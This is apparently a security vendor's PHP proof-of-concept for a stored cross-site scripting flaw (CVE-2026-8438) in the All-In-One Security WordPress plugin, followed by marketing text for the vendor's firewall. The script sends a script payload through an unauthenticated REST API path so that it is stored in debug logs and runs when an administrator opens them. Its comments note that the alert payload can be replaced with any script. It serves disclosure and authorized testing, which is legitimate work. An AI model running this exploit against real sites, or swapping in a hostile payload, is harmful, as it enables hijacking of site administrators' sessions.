// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8438 - All-In-One Security (AIOS) <= 5.4.7 - Unauthenticated Stored Cross-Site Scripting via REST API Request Path

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site

// a simple javascript payload that alerts 'XSS' (can be replaced with any script)
$payload = '<script>alert("XSS")</script>';
$encoded_payload = urlencode($payload);

// The vulnerability triggers when the REST API path contains the payload.
// We must use a valid REST route prefix so the request reaches the debug logger but we don't need valid authentication.
// The 'Disable REST API for non-logged in users' feature must be enabled and debug logging must be on.
$exploit_url = $target_url . '/wp-json/aiowps/v1/' . $encoded_payload;

// Initialize cURL
$ch = curl_init();

// Set options for the request
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// optionally follow redirects; not necessary but harmless
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
// timeout of 30 seconds
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 0) {
    die("Error: Could not reach target. Check URL and network.n");
}

echo "Sent XSS payload via REST API path. HTTP response code: $http_coden";
echo "If the site is vulnerable, the payload '$payload' has been stored in the AIOS debug logs.n";
echo "An administrator visiting the Debug Logs page in the AIOS dashboard will trigger the XSS.n";

// Note: This PoC does not verify storage or execution; manual checking is required via admin dashboard.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School